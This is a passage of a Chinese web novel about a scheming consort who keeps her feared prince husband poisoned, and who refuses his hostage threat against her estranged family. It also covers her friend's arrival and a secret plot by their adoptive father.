“本宫的夫君,倒也没有传闻中那么无情嘛。”温斩月伸出手臂,示意春夜给她上药。 春夜却有些迟疑。 “王妃不检查检查吗?” “什么意思?”温斩月语调陡转,“你怀疑药里藏毒?” 春夜急忙摇摇头,“没有没有,奴婢不敢。” “你不敢?”温斩月冷笑,“此刻,你全身上下都在怀疑这药有问题。” “奴婢只是觉得王爷不会这么好心的给王妃送药,毕竟王妃先给王爷下了毒,后又当着王爷的面差点杀死王爷的奶娘展嬷嬷,王爷没想杀了王妃已经是手下留情,更何况,王妃手臂上的伤是怎么来的?不就是王爷亲手所伤吗?” 春夜的话虽不中听,但却句句属实。 不过温斩月也只是迟疑了片刻,便吩咐春夜继续上药。 “他若是能在药里藏毒,本宫倒也觉得欣喜,至少他肯为了本宫花费心思。” 春夜手一顿,差点打翻药瓶。 都说她家王爷残忍暴戾,喜怒无常。 在她看来,在疯批病娇这方面,王爷还是略逊王妃一筹啊。 第8章 看一出好戏 春夜上完药,温斩月便等着毒发。 等来等去,她都快要睡着了,也没有察觉到身体有任何的异样。 “无趣。”温斩月伸了个懒腰,爬上床。 看来她的好夫君还是很惜命的,在三日欢的毒未解之前,是不会对她出手了。 一夜无梦,温斩月睡的十分安稳。 次日,她刚睁开眼,便看到春夜端着水盆朝着她走来,“王妃快些起吧,王爷已经命人送了早膳来,待会下朝便来和王妃一同用膳。” “这么殷勤?”温斩月舒展身体,换好衣裳。 看来三日欢的毒容妄已经体验过了,那滋味不好受,是个人都不像再体会第二次,容妄这样的杀神也不会是例外。 梳妆完毕,温斩月来到桌前,取下自己的耳饰,指尖灵活的打开上面的机关,将里面的黑色药粉放在浓稠鲜香的肉粥里。 药粉遇水即溶,很快就消失不见。 做完这一切,温斩月将耳饰重新戴好,安静的等着容妄前来。 好在她并没有等多久。 很快,容妄便来到了锦绣阁。 “王妃昨夜睡得可好?”明明是一句贴心的问候,可容妄的眼神却冰冷异常。 温斩月挑眉,“用了王爷送来的药,臣妾睡得很是安稳。” “那便好。”容妄笑里藏着锋芒,“自从王妃嫁过来,便一直待在王府里,这段时日怕是闷坏了,等用过早膳,本王带王妃去看一出好戏如何?” 任谁来听,都觉得容妄这话像是一个圈套。 温斩月的第一反应也是有诈。 事出反常即有妖,这样浅显的道理她怎会不懂? 可诱饵是容妄抛出来的,她乐意咬钩。 “都听王爷安排。”温斩月将肉粥推到容妄跟前,“今日的解药在粥里,王爷记得吃。” 容妄不疑有他,端起肉粥品尝起来。 两夫妻心中各怀鬼胎,竟也相安无事的用完了早膳。 让人把碗筷收拾了,温斩月换了一身干净利落的黑衣劲装后才跟着容妄身后出了门。 站在朱红色大门前,容妄盯着马车瞧了一眼,又将目光落到英姿飒爽的温斩月身上,“可会骑马?” “这不是有马车?”温斩月指了指。 容妄有些失望,“不会骑便算了,只是觉得今日你的装扮骑马一定很好看。” 这句稀松平常的话并不怎么惹眼,但从容妄嘴里说出来,就像是一道惊雷在温斩月的心底爆炸开来。 没想到容妄这张嘴涂惯了砒霜,头一回抹了蜜,说出来的话竟也是甜丝丝的。 吩咐青澜牵来两匹马,温斩月挑中其中一匹额间有白星的红鬃烈马。 容妄眼中闪过一丝诧异。 这匹烈马是他好不容易得来的,是可遇不可求的极品战马。 看不出来温斩月这女人还挺识货。 “这马不错,可有名字?”温斩月抚摸着马背,问道。 容妄走过来,介绍道:“它叫星芒,是一匹烈性战马,你确定要骑它?” “烈性战马,一听就很难驯服。”温斩月眼中的喜爱丝毫不掩饰,“王爷,不如和臣妾比比看,若是臣妾赢了,王爷将星芒赠于臣妾,如何?” “你能驯服它再说吧。”容妄语气嘲讽,“别怪本王没有提醒你,夜王府位处京都闹市之中,你骑它,若是出了事,本王不会替你摆平。” 容妄打心眼里认为星芒不可能被除了他以外的人驯服。 但没想到温斩月像是一个老手,动作十分娴熟的飞身上马,等到容妄反应过来时,黑色的身影已经骑着星芒飙出好几里了。 “追!”容妄骑上另一匹马,朝着城外的方向奔驰而去。 当了几日的夜王妃,温斩月便觉得胸口像是压了一股气,此时策马奔腾,倒是将胸前堵着的闷气全都疏散了。 星芒果然是一匹极品战马,起初并不好驾驭。 但温斩月有一手上乘的驯马之术,三两下便驯服了星芒。 她许久未骑马,一时得意的忘了形,等到冷静下来时才想起来容妄并没有告诉她,要带她去哪里看一出好戏。 快到城门前时,乌泱泱的一众人围在城门口。 温斩月命令星芒停下,自己从马上下来,走到一旁等着容妄追上来。 “这些人是犯了什么罪啊?怎么会被人绑起来吊在城门口啊?” “不知道,但听说是夜王府的人抓来的,这些人被吊起来的时候,那些侍卫穿着夜王府的衣服呢。” “他们也真是不知好歹,连夜王这尊杀神都敢得罪。” “谁说不是呢,夜王如今的锋芒连圣上也要避他三分,你说这些人想不开得罪夜王干什么?真是活腻歪了。” “你看那个小娘子,看上去还未及笄,也不知道吊了这么久,身体受不受得住。” “你这么怜惜她,不如去跟夜王求情,把她救下来给你做小妾啊。” “去求夜王,我疯了不成?” 众人议论纷纷,丝毫没有想要避讳着旁人。 这些话一字不落地钻进温斩月的耳朵里,她向来不是一个爱凑热闹的性子,但听到夜王府三个字,清冷的面容还是有了一丝裂缝。 牵着马,温斩月挤进人群,朝着城门上被吊着的人看过去。 只此一眼,她便明白容妄说的好戏是什么。 这城门上被绑起来吊着的两男两女,不就是她的便宜爹娘和废物弟妹吗? “好看吗?”容妄的声音从后边传来。 温斩月头也没回,“这便是王爷口中说的好戏?” “不好看吗?”容妄走过来,朝着青澜招手。 青澜递过来一把冷月弓,正是新婚之夜容妄用来射伤温斩月的那把。 周围的人见夜王来了,瞬间鸟兽散,刚才还乌泱泱的一群人几乎在眨眼间,便消失的一干二净。 “陪着你演戏,本王的确有些累了。”容妄拉弓搭箭。 “本王给你半个时辰考虑,若是半个时辰后,你还不肯交出解药,本王便用这冷月弓在温家人身上射出一个窟窿来。” “臣妾本来还在想,野兽怎么会乖乖收起獠牙,原来是让臣妾放松警惕,从而致命一击,不过……王爷怕是要失望了。” 温斩月清冷的目光扫过吊在城墙上的四人。 “别说王爷用箭在这些人身上射出一个窟窿来,就是王爷当着臣妾的面,将他们一点一点活剐了,臣妾也绝不会皱半点眉头。” “是吗?”容妄薄唇勾起,手一松。 利箭朝着温如玉的双腿间射去,准头偏离两寸。 利箭射穿裤子,虽然没有命中,却把昏睡的温如玉吓了个清醒,当场就尿了出来。 “温斩月!你还在等什么?快和王爷求求情,把我放了吧,我可是温家唯一的儿子,温家的香火还等着我传承呢!” “哦,射偏了。”容妄不理会温如玉的叫嚣,偏过头盯着面无表情的温斩月,随手又从青澜手里接过一支箭。 “许久不练,技艺有些生疏。” “姐夫,我的好姐夫,你就饶了我吧,温斩月和我们温家没有关系的,她要是得罪您了,您处罚她就好了,我们可都是无辜的啊。” 见温斩月不为所动,温如玉干脆跟容妄求情。 “本王饶不饶你,得看王妃听不听话。” “听听听,她肯定听!”温如玉面如土色。 “温斩月!能嫁给王爷是你上辈子烧高香,你少不识抬举!”温如玉扯着嗓子怒骂道:“不管你之前做了什么,现在我们全家都因为你被吊在城墙上,你还不赶紧跪下来跟王爷磕头求饶,让他放我们一马。” “他又不是放马的。”温斩月充满杀气的眼神盯着温如玉。 “你这样的废物死在我夫君的手里,也只会脏了他的手,不如你二姐我行行好,主动送你一程。” 温斩月抢过容妄手中的冷月弓,拉弓搭箭,一气呵成。 她的准头是瞄着温如玉的心口处去的。 箭离弦的瞬间,容妄抬手,强行改变了利箭的轨迹,让原本射向温如玉心口的利箭向上偏移,射中了温如玉的肩膀。 从小到大,温如玉哪里受过这样的委屈,当场疼的晕厥了过去。 温斩月不解的偏头看着容妄。 “怎么,你舍不得他死?” “要是现在就死了,接下来的戏还怎么唱?” 话虽这么说,可容妄还是心惊了一瞬,刚才若不是他拦着,温如玉早就是一具尸体了。 “那这出戏王爷自己慢慢看吧,恕臣妾不奉陪了。”说完,也不等容妄点头,温斩月便将手中的冷月弓扔掉,飞身上马,骑着星芒离开了。 温家人和她没有任何关系,容妄想用温家人逼她拿出解药,这一步棋走的实在愚蠢至极。 搭好的戏台无人观赏,容妄也失了兴趣。 “把人放下来带到王府,好好的审问清楚。” “王爷想问什么?”青澜不解。 容妄握紧双手,眼神晦暗。 温斩月虽然行事乖张,却也不是真的心狠手辣,能让她毫不犹豫就射杀的弟弟,这其中必定有缘由。 “你去挨个审一遍,本王要知道,王妃和温家人之间到底发生过什么。” 第9章 梨落 温斩月回到王府,让人把星芒牵回马厩。 她对温家人根本没什么感情,尤其是温如玉这个蠢到令人发指的草包,容妄居然想要用这些不相干的人从她手里拿到三日欢的解药,真是病急乱投医。 可话又说回来,为了对付她,竟大老远地把温家人抓过来吊在城门口,也是幼稚。 迈进锦绣阁,温斩月刚解下腰带,春夜便迎了上来。 “王妃你可算是回来了。” “发生何事了?”温斩月将腰带递给春夜,往里走去。 “王府里来了叫梨落的姑娘,刚一进门就把自己的东西搬进了锦绣阁,奴婢想让她去偏房,可她却执意要和王妃您同床。” “无碍。”温斩月撩开帘子,走进里屋。 白玉金雕的榻上,一名身着粉色衣衫的女子正躺着悠哉悠哉地吃着葡萄。 看到温斩月进来,人像只兔子一样从榻上蹦起来。 “阿月!”梨落猛地窜进温斩月怀里,紧紧地抱着温斩月的细腰撒娇。 “我好想你啊,阿月。” “多大的人了还撒娇。”温斩月垂眸看到怀里的人光着脚,干脆抬手将人横抱起来。 “说了多少次,走路要穿鞋。” “我这不是见到你开心,一时间忘了吗?”梨落咧嘴一笑,露出两只可爱的小虎牙。 温斩月无奈摇头,抱着女孩走到榻前坐下。 “如今是盛夏还好,若是入了冬,你这样迟早要生病。”温斩月蹲下身,将鞋子给女孩穿好。 一旁的春夜看到这一幕,直接石化在原地。 这,这还是她家王妃吗? 察觉到春夜的异样,温斩月抬眸道:“梨落一路舟车劳顿很是疲惫,吩咐下去,让厨房做点好吃的膳食送过来,本宫今日要同梨落一起用膳。” “那王爷那边呢?” “本宫柜子里有一壶梨花白,等到王爷用晚膳时,差人给他送过去。”温斩月吩咐道。 今日梨落来,她自然要陪着梨落一起。况且,今日城门前的这出戏她很不喜欢,就冷落容妄一顿饭的时间好了。 春夜领了吩咐退出去,偌大的锦绣阁就只剩下温斩月和梨落两人。 “收到你的书信我便马不停蹄地的赶来了。” 梨落目光心疼的盯着温斩月已经被扎处理过的伤口。“早知夜王府的水这般深,我就该早点来的。” “我的伤跟王府没关系。”温斩月摸着伤患处,“这些都是容妄的手笔。” 梨落眼神一暗,但很快便明白过来。 “世人都传这夜王为人残暴,手段阴毒,也不知道你看上他什么了。”梨落替温斩月抱不平,“我府上的男人长相俊美,武功高强,还会讨人欢心,不比这夜王好太多了,真不明白你怎么想的,就冲着小时候那点渊源,上赶着找虐。” 温斩月不置可否,“他也没从我这里得到好处,我在他的身上,下了三日欢。” “干得漂亮!”梨落忍不住拍手叫好。 “我就知道以你的性子,是绝对不肯吃亏的。” “不说这个了,此番我找你来,是想让你帮我打理王府的。”温斩月转移话题。 “我初来乍到,需要有个有能力且深得我信任的人来替我操持这一切,你同我一起长大,这个世上没有谁会比你更得我信任,至于你的能力,我早就见识过了。” 温斩月性子清冷又孤傲,她很少真心地佩服什么人,但梨落算一个,她与梨落第一次见面时,就被梨落当面给了个下马威。 当时她还很不服气,日日跟梨落对着干,但后来却一点点被梨落征服。 在梨落身上,温斩月明白了什么叫做天赋,六岁便能通珠算,擅商道,八岁掌家,十岁经商,十二岁时,已经是泗水街上众人口中的小掌柜了。 “要我替你掌家可以,但姐的出场费可是很贵的哦。”梨落朝着温斩月伸出手,“你知道我的,普通的真金白银打动不了我。” “把我给你。”温斩月脸往上一凑,放在梨落的掌心。 梨落心中突跳,急忙缩回手。 “你本来就是我的心肝宝,这不能算报酬。” “那条件随你开。”温斩月往后一仰,“只要是我能给得起的,尽管提。” “那……”梨落往温斩月跟前凑了凑,“不如你许我一个承诺吧,等我有一天真的有求于你时,你绝对不能拒绝。” “可以。”温斩月想都没想便答应了。 梨落微怔,她没想到眼前人能答应得这么快,如此坦荡,倒是显得她有些心虚。 “那击掌为誓吧。”梨落举起手。 这个行为在温斩月看来幼稚至极,但为了配合梨落,她还是抬起手和梨落击掌三下,“满意了吗?” “当然。”梨落撸起袖子,盘腿坐下。 “好了,请说出你嫁入夜王府后所有的事情,我洗耳恭听。” …… 温家人都不是什么硬骨头,青澜将人带回去,不费吹灰之力便从这些人口中得知了有关自家王妃的一切。 “该说的我们都已经说了,王爷什么时候放我们回去啊?”温城主脸色苍白的问道。 他本来就一把年纪了,被吊在城墙上已是没了半条命,现在只想夜王能够高抬贵手,让他们从哪儿来的滚哪儿去。 城主夫人守着昏迷不醒的温如玉,眼泪涟涟。 “就算不放我们走,也请找个大夫为我儿瞧瞧伤势吧,这伤虽不致命,可若要是久不医治,我儿命不久矣啊。” “我母亲说的是。”温落星算是这四个人里唯一状态好一些的。 她拔下头上的金簪递给青澜,“我虽不知大人什么官位,但王爷什么事都交给您办,想必在夜王府有一定的地位,我不求大人放了我们,但为小弟请个大夫,应当不费事吧。” “东西我就不收了,大夫稍后便到。”青澜瞟了一眼,“你们都是王妃的家人,王爷不会真的让你们都死在夜王府。” “那落星就先谢过大人了。”温落星收回金簪,重新插到自己头上。 青澜没在北院多待,他吩咐人将北院看守起来。只是他前脚刚踏出北院的院门,后脚便听到身后院子里传来城主夫人的哭诉声。 “我就说那温斩月是个灾星,只要她出现的地方,一定会有人倒霉,圣僧当初说的一点都没错,她就是老天爷派来克我们全家的!” “母亲也不能这么说,这次若不是二姐回来替嫁,我们整座城的人怕是都难逃死劫。” “星儿说得对,我们亏欠阿月良多……” “你们怎么回事?居然替她这个丧门星说话!当初我生她时,差点死掉,如今她又射伤了阿玉,这样手段阴毒的人你们居然还在为她辩解!”想起这一切,温夫人的眼里就带着滔天的嫉恨。 “早知今日会是这般光景,当初生下她时,我就该将她掐死!” 温夫人的声音不小,站在院门口的青澜听得一清二楚,他微微蹙眉,神情不悦。 虽然他自己也不怎么喜欢温斩月,但她毕竟是王府的女主人,是他家王爷八抬大轿,十里红妆娶回来的王妃,怎么能轮到一个外人说三道四? 青澜心里憋着一股火,但终究没有进去理论,他转过身,刚要去给自家王爷汇报成果,却发现自家王爷就在他身后。 “王爷,您什么时候来的?”青澜吓了一跳。 容妄眼眸微垂,“这么迟钝,若是在战场上,早就被人杀死了。” “王爷教训的是,属下刚才走了神,这才没能察觉到王爷。”青澜不好意思的摸摸脑袋。 容妄冷嗤一声,“本王看你真是舒服日子过久了,早就忘了自己是干嘛的了,从明天开始,每日都去校场训练半日。” “是,属下明日,不,现在就去。”说完,青澜头也不回地离开。 温家人说话的声音已经听不太真切了,容妄在北院门口站立了一会儿,直到要用晚膳时,才从北院离开。 容妄回到书房,迟迟不见温斩月的踪影。 这要是换做以前,他早就勃然大怒了,可今日在北院听完温家人的那番话,他坚硬如铁的心竟也起了一丝怜悯。 尽管少得可怜,但终归是有。 压下心中刺刺的感觉,容妄刚要起身,就听到书房的门被人推开,春夜拎着食盒和一壶梨花白走进来。 “王爷,这是王妃吩咐奴婢送来的。”春夜行过礼,将饭菜拿出来放好。 容妄神情阴冷,开口仿佛能冻死人。 “王妃人呢?” “今日梨落姑娘来了,王妃在锦绣阁陪同梨落姑娘用膳。”春夜恭恭敬敬道。 梨落?容妄双眸半眯。 这名字好像在那封被截获的书信里提到过。 “王爷若是没有其他吩咐,奴婢就先退下了。”春夜低着头。 容妄摆摆手,示意春夜离开。 他本来就不想和温斩月这个女人一同用膳,要不是为了解身上的三日欢,他早就将这女人抽筋扒皮,做成灯笼了。 不过,今日的解药会藏在哪里呢? 容妄有些拿捏不准,干脆把桌上的每一道膳食都单独分装出来一份,连温热的梨花白也没有放过。 他唤来侍卫,将分装好的膳食送去太医院。 本来还想用温家人要挟让温斩月交出解药,但现在看来,还是要指望卢正义这个废物。 在解药没有研究出来之前,他得收敛着些。 第10章 容妄,是她的变数 月明星稀,黑夜漫漫。 夜王府北院,温如玉肩上的伤已经处理好,但连日的奔波和惊吓让他突然半夜发起了急热,浑身烫得像是刚从火炉里拽出来一样。 温夫人在一旁不停地用冷水给温如玉降温,看着温如玉难受的样子,心疼得直掉眼泪。 “我家阿玉从小就乖,要不是温斩月这个丧门星,他哪里会受这些苦!” “你少说两句吧。”温城主坐在一旁,脸色铁青。 “如今阿月已是夜王妃,得罪了她,你我能有什么好处?” “你还看不出来吗?”温夫人横眉冷对,“要不是她得罪了夜王,我们怎么会被绑过来吊在城门口,早知道要受这些罪,还不如当初让夜王屠城算了!” “母亲说话也太偏颇了些。”温落星不满道:“二姐从未受过温家半分恩惠,却能在危急时刻站出来替大姐姐出嫁,是我们欠二姐姐的。” “我欠她的?”温夫人嗓音尖细得有些刺耳。 “她是我生的,要没有我,也不可能会有她!” 温落星皱眉,往日里母亲从来都不这样,知书达理,温柔娴淑,怎么一说到跟二姐姐有关的事情,就跟变了个人一样。 “都别说了,眼下最要紧的是阿玉。”温城主站起身来,“我去求求夜王妃,希望她能看在一家人血脉亲情的份上,救救阿玉。” “父亲且慢。”温落星出口阻拦,“眼下已是半夜,父亲不好冒昧求见,还是让我去吧。” “也好。”温城主点点头,“那你快去快回。” 夜王府比温落星想的要大一些,此时已经是半夜,府中只有零星的几个侍卫来回巡逻,她想找人问问二姐姐住在哪,可看到那些人手里明晃晃的刀剑,又有点害怕。 “你在这里干什么?”身后传来男人的声音。 温落星被吓了一跳,回过头发现是白日里见到的大人,恐惧顿时减少了三分。 “大人这么晚了还不睡?” “这话应当是我问你吧。”青澜蹙眉。 他在校场训练完跟几个将军一起去吃了顿花酒,耽误一些时辰,怕自家王爷责骂,这才鬼鬼祟祟等到半夜回来。 刚一入王府的门,就看到温家小娘子在四处乱窜。 “这么晚了,你瞎跑什么?” “我想去见二姐姐。”温落星皱着一张小脸,“阿玉发了急热,母亲急得直哭,但夜王府实在太大了,我也不知道二姐姐住在哪里,一不小心就迷了路……” “这里不是温州,半夜不要乱跑。”青澜难得的好性子。 “王妃住在锦绣阁,走吧,我带你过去。” “谢谢大人,大人真是个好人!”温落星双眼瞬间亮起。 青澜忍不住笑出声,他自小便跟王爷上阵杀敌,手里的离归刀不知道多杀了少人,这个温家小娘子却说他是个好人,真是够天真。 锦绣阁内,烛火摇曳。 温斩月有些犯困地打了个哈欠。 “你何时睡觉?” “我还不困,你困了吗?”梨落一双眼睛亮晶晶地发着光。 温斩月却不肯在陪着她耗下去了。 “我困了,我要睡觉。” “那好吧。”梨落看上去虽然有些失望,但却没有无理取闹。 爬上床,梨落平躺着,“好久都没和你一起睡觉了,上一次在一起睡还是半年前,你说一晃儿的时间,我们怎么就都长大了呢。” “快睡吧。”温斩月替梨落盖好凉被,自己也打算就寝。 就在这时,春夜推开锦绣阁的门,从外面走进来,“王妃,温三小姐在殿外求见。” “她来做什么?”温斩月没好气道。 她从床上起身,扯过一旁的披风,对着梨落道:“你先睡吧,我去看看她又要作什么妖。” “那你快去快回,我先给你暖床。”梨落咧着小嘴,露出小虎牙。 温斩月没再说什么,随着春夜一起走出锦绣阁。 青澜把温落星送过来后便离开了,只剩下温落星一人在院子里候着。 见温斩月出来,温落星急忙迎上去。 “二姐姐开开恩,阿玉发了急热,若是放任不管,只怕是……只怕是小命不保啊。” “哦。”温斩月立于台阶上,居高临下地应了一声。 见状,温落星只得跪下来,“阿玉的命就是夜王妃一句话的事,这不费什么功夫,还请夜王妃看在我们是一家人的份上,救救阿玉吧。” “一家人?”像是听到了什么天大的笑话,温斩月忍不住笑出声。 “温三小姐口中的一家人是在说从小被温家丢弃的本宫吗?” “打断骨头连着筋,夜王妃再怎么不想承认,身上不也流着温家的血吗?”温落星恳求道:“我知道王妃没有自己说的那般无情,不然,便不会有替嫁一事。” “本宫替嫁不是为了温家。”温斩月一步步迈下台阶。 “早在替嫁那日本宫就已经说过,今后和温家恩断义绝,温三小姐那日不是也在场吗?这么快就忘了?” “我没忘!”温落星仰着头,神情倔强。 “如果不是夜王殿下将我们绑过来,我们也不会出现在王妃面前,给您添堵。” “您实在要是不想看见我们,不如跟夜王说清楚,放我们回温州。”温落星朝着温斩月叩首,“落星先谢过王妃了。” 温斩月颇为意外,还以为温家都是温如玉那样的草包废物,没想到温落星这个还未及笄的小姑娘却是个聪慧通透的人,三言两语便将问题抛给她。 只可惜,这算盘还是打错了。 “王爷如何处置你们那是他的事情,本宫不会插手,不过……”温斩月俯身,“你这个性子倒不像其他温家人一样,让本宫厌恶。” 温斩月直起身子,看向一旁的春夜。 “从本宫的私库里取了银子找大夫来给那个废物瞧瞧,别让他死在王府,污了王爷的眼。” “是,奴婢这就去。”春夜走过来,扶起跪在地上的温落星。 “三小姐还不快谢谢王妃。” “谢……” “不必了。”不等温落星感恩的话说完,温斩月便率先打断。 “以后没事不要来本宫眼前晃悠,本宫觉得碍眼。”话落,温斩月转身走进殿中。 温落星眼中虽有失望,但更多的却是放下心来的轻松。 看来她猜得没错,二姐姐就是嘴巴厉害,心里其实软着呢,不然也不会拿出自己的银子去给阿玉找大夫。 温家真是欠二姐姐太多了,日后二姐姐要是有需要她的地方,她一定义不容辞。 …… 温家人被关在王府北院,容妄没有发话,府里其他人也就当他们不存在。 梨落从温斩月手中接过印章和钥匙,正式替她掌家。 第一件事情便是把锦绣阁除了春夜以外的人全都换了一遍,知晓展嬷嬷一事的缘由,干脆把换下来的人全部都送到了展嬷嬷的西厢院。 “夜王人傻钱多,想要养着这个老不死的,那我就暂且留她一命。”梨落手中的珠算被她拨的嗒嗒作响。 “不过温家人你打算怎么处置?毕竟是四张嘴呢,每日的吃喝再加上温如玉那个废物的伤,每日要花出去不少呢。” “那是容妄请来的,他自己看着处理。”温斩月捣鼓手里的机关,头也不抬。 梨落摇摇头,“温家人就是容妄绑过来威胁你交出解药的,这一招对你不管用,估计温家人也就失去了价值,还真说不好会被怎么处理。” “那不是你该操心的事。” “但他们毕竟是你的家人。” 温斩月手一顿,“我没有家人,若非要说有,也该是你和义父。” “父亲虽然收养了你,但毕竟没有血缘关系,这家人还是血脉相连的好,万一以后碰到个什么事,能帮衬你一些……” 温斩月放下手中的机关,狐疑的盯着梨落。 “你这次来见我前,是不是发生什么事了?” “为何这么问?”梨落表情有些许的不自然。 温斩月走过来,左手钳制住梨落的下巴,强迫她与自己对视。 “你骗不了我的,苏梨落。” 平日里温斩月从来都不会连名带姓地称呼梨落,除非她生气了,才会给梨落冠上姓。 梨落显然也知晓这一点。 “其实,就算你不写书信给我,我也会来找你的。”梨落仰着头,眼神里落下一丝不忍。 温斩月松开手,神情黯淡下来。 早在义父收养她时,她便知道会有这么一天。 这天上从来就不会掉馅饼,就算掉,也轮不到她温斩月来捡。 “义父可是有什么任务让我去做?” “嗯。”梨落点点头。 温斩月心头闷着一口气,“和容妄有关?” 梨落没有说话,但表情已经说明一切。 温斩月心头像是刮过一阵清风,吹得她生疼。 义父收养她,栽培她,给她锦衣玉食的生活时,她就知道,自己是义父手里最锋利的那把刀,迟早有一天要派上用场。 义父和梨落待她好,就是要她这条命,她也绝不可能有半句怨言。 可容妄…… 容妄是她的变数。 第11章 嘴太硬,要亲 “梨落。”温斩月蹲下身来,神情严肃。 “不管义父想做什么,求他留容妄一条性命。” “容妄能不能活,关键在于你。”梨落叹了口气,“阿月,你非得喜欢他不可吗?换个人不行吗?” “不行,一定得是他。”温斩月坚定道。 “我愿意成为义父手中最锋利的刀,替他扫清一切障碍,但容妄不能动,他是我的刀鞘。” 梨落愣住,反应过来后嘴快道:“他这么重要你还给他下三日欢?” “你懂什么?这是我们夫妻之间的情趣。”温斩月白了一眼。 梨落:“……” 她怎么会不懂,她可太懂了,她家阿月就是个不折不扣的变态。 在喜欢人这件事情上,跟普通人是不一样的。普通人喜欢一个人,只会对他好。但她家阿月喜欢谁便谁折磨谁。 折磨得越狠越喜欢,越喜欢也就折磨得越狠。 梨落有那么一瞬间觉得温斩月的担心实在是太多余了,恐怕不等她父亲出手,容妄就先被温斩月折磨死了。 “父亲倒也没说非要杀了容妄。”回过神来,梨落起身从自己的包袱里掏出一封书信递给温斩月,“你自己看吧。” 温斩月直起身子,接过书信。 书信的内容不长,很快便看完了。 “怪不得义父会同意我替嫁,原来是想利用我夜王妃的身份,在京都安插上他的眼线。”温斩月将书信放到烛火上点燃。 “京都势力盘根错节,十分复杂,要想安插内线,还需从长计议。” “半年。”梨落惆怅,“父亲只给我们半年时间。” “我们?”温斩月敏锐地捕捉到关键字眼,“义父也有任务交代给你?” “你该不会以为只有你才是他手中的刀吧?”梨落不屑地撇撇嘴,“我的好父亲是懂得什么叫做物尽其用的,就算我是他亲生的,他一样还是会从我的身上榨取价值。” “义父要你做什么?”温斩月追问。 梨落摊摊手,“京都乃是皇城,天子脚下,富庶至极,他自然是要我在你的遮掩下,替他大肆敛财。” 温斩月哑然。 义父的野心在她和梨落面前从不遮掩。 这并不是拿她们当成最亲近的人,而是始终认为她们再有能耐也只是个女子,成不了什么气候。 又是大肆敛财,又是安插眼线。 温斩月不用想也知道,半年后的腥风血雨已经是板上钉钉的事了。 有了这档子事压在心里,温斩月也就没什么心思摆弄机关了,她让梨落随意,自己吩咐厨房做好膳食,前去书房找容妄一起用膳。 书房里,容妄拿着定国公府送来的请帖,不悦。 “以往这种事情他们避着本王都来不及,这次怎么舍得送张帖子来?” “回王爷的话。”青澜挠挠头,“具体的情况属下也不知道,但听说是秦小姐的意思。” “秦落雪?”容妄挑眉,“她从边疆回来了?” “三日前回京的。”青澜解释道:“定国公府的请帖是顶着赏花宴的名头,实际上却是定国公要为秦小姐选夫婿,只是可惜……” “可惜什么?” “可惜王爷已经成亲,就算秦小姐有意,那也错失王妃的位置了。”青澜自顾自的说着,丝毫没有注意到自家王爷眼里的杀意。 “在边疆之时,秦小姐就对王爷有意,要是没有王妃,王爷和秦小姐倒也是天造地设的一对……”青澜的话还没说完,容妄便把手里的请帖劈头盖脸地砸过来。 恰逢此时,温斩月一脚踹开房门。 “天造地设?”温斩月把食盒放到地上,捡起被容妄扔过来的请帖。 “定国公府?秦二小姐?”温斩月看向被砸懵逼的青澜,“刚才是你说,王爷同这位秦二小姐,才是天造地设的一对?” “秦小姐冰雪聪明,秀外慧中,最重要的是她真心喜欢王爷,当然……”青澜的话还没说完,就感受到了两股浓郁的杀气朝他压过来。 王妃想杀他他能理解,但他家王爷是为什么? “滚出去!”在温斩月发火之前,容妄先一步呵斥道。 青澜止住话语,急忙从书房离开,临走之时,还不忘贴心地关好门。 “王爷这么着急赶他走,是怕臣妾控制不住宰了他?”温斩月走过来,长腿一跨,坐在书桌上,用请柬挑起男人的下巴。 容妄纹丝不动,冷声道:“在本王面前,你绝无这个可能。” “嘴这么硬,看来得亲软了才行。”话落,温斩月扔掉手中的请柬,翻身一滚,稳稳地落在男人怀里。 她双手勾着男人的脖颈,在男人发难之前,凑上唇瓣。 两片温热相接,柔软的触感夹杂着一丝清甜,带着燥热的呼吸朝着容妄扑面而来。 这上瘾的感觉让他疯了一般的迷恋,抱起怀里媚眼如丝的女人,容妄反客为主,加深了这个情欲深重的吻。 直到怀里女人不安分的手碰上他的面具,他才猛然清醒过来。 “你干什么?”容妄松手,猛地后退。 “面具有点碍事,臣妾想取下来,看看王爷真容。”刚才亲热时候温斩月被撩起的裙摆并未放下,此时她坐在书桌前,香肩半露,白嫩细滑的腿就搭在桌沿上,有一下没一下地晃动着。 容妄心头震动,越发觉得这女人好手段。 “不给看就不给看,小气鬼。”突然被打断,温斩月也没了兴致。 从桌上跳下来,温斩月穿好衣服,拎起地上的食盒来到饭桌前,将食盒里面的饭菜拿出来摆好。 “过来吃饭。”温斩月招招手。 容妄走过去,拿起筷子,对着一桌子美食迟疑。 “喏。”温斩月将桂花蜜藕推过来,“今日的解药在这盘菜里。” 容妄眼中不耐,整个王府谁不知道他不喜甜食,这桂花蜜藕一看就不是王府厨子做的,恐怕又是这女人自作聪明。 罢了,权当是解药吃了。 容妄夹起一块桂花蜜藕,已经做好了很难吃的准备。 没想到送入口中,香甜软糯,并不腻歪。 “这菜是你做的?”容妄试探道。 “王爷喜欢吗?”温斩月笑着道:“臣妾嫁入王府第二天就已经跟管家要过王府的菜单,虽然上面的菜式都不错,但菜色单一,王爷吃久了总会腻的。” “你处心积虑,步步为营,到底要做什么?”容妄冷声质问。 温斩月笑得放肆,“臣妾早就说了,加入夜王府就是图谋王爷你的心,王爷为何就是不信臣妾?” “你解了本王身上三日欢的毒,本王便信你。”容妄眼中藏着一丝希冀。 他从出生时,也曾被人说不祥。 走到今天这一步,人人惧他,怕他,敬他。 但却无一人真心爱他。 他从温家人口中得知了温斩月的过去,相似的经历多少让他有些动容。 如果温斩月说的都是真的,那他也愿意尝试着,信她一回。 “王爷说臣妾把王爷当三岁孩子哄,王爷自己难道就没哄骗臣妾吗?”温斩月眼中温情不在,好看的星眸里似是被结了一层霜。 “三日欢毒发时王爷都不曾屈服,怎么?得知秦二小姐回来,王爷便想要服软,让臣妾解了三日欢的毒,好让你们琴瑟和鸣,双宿双飞吗?” “容妄,你真是做梦。”说完,温斩月摔门而去。 守在门外的青澜见自家王妃离开,急忙走进来,“王爷,刚才发生什么了?王妃好像很生气的样子。” “没什么。”容妄唇角微扬,眼底藏着星星点点的笑意。 如果他没记错,刚才还是温斩月第一次叫了他的名字,虽然失了规矩,但他能感觉到温斩月气急败坏语气里藏着的浓郁醋意。 这莫不是戏折子里说的拈酸吃醋? “把剩下的桂花蜜藕送到卢正义府上,顺便问问他解药研究得怎么样了。” “是。”青澜走过来,将剩下的桂花蜜藕装起来。 容妄起身来到书桌前,看着凌乱的桌面,刚才香艳的一幕再次浮现在他眼前。 让他喉咙发紧,心里发痒。 但很快,容妄就笑不出来了。 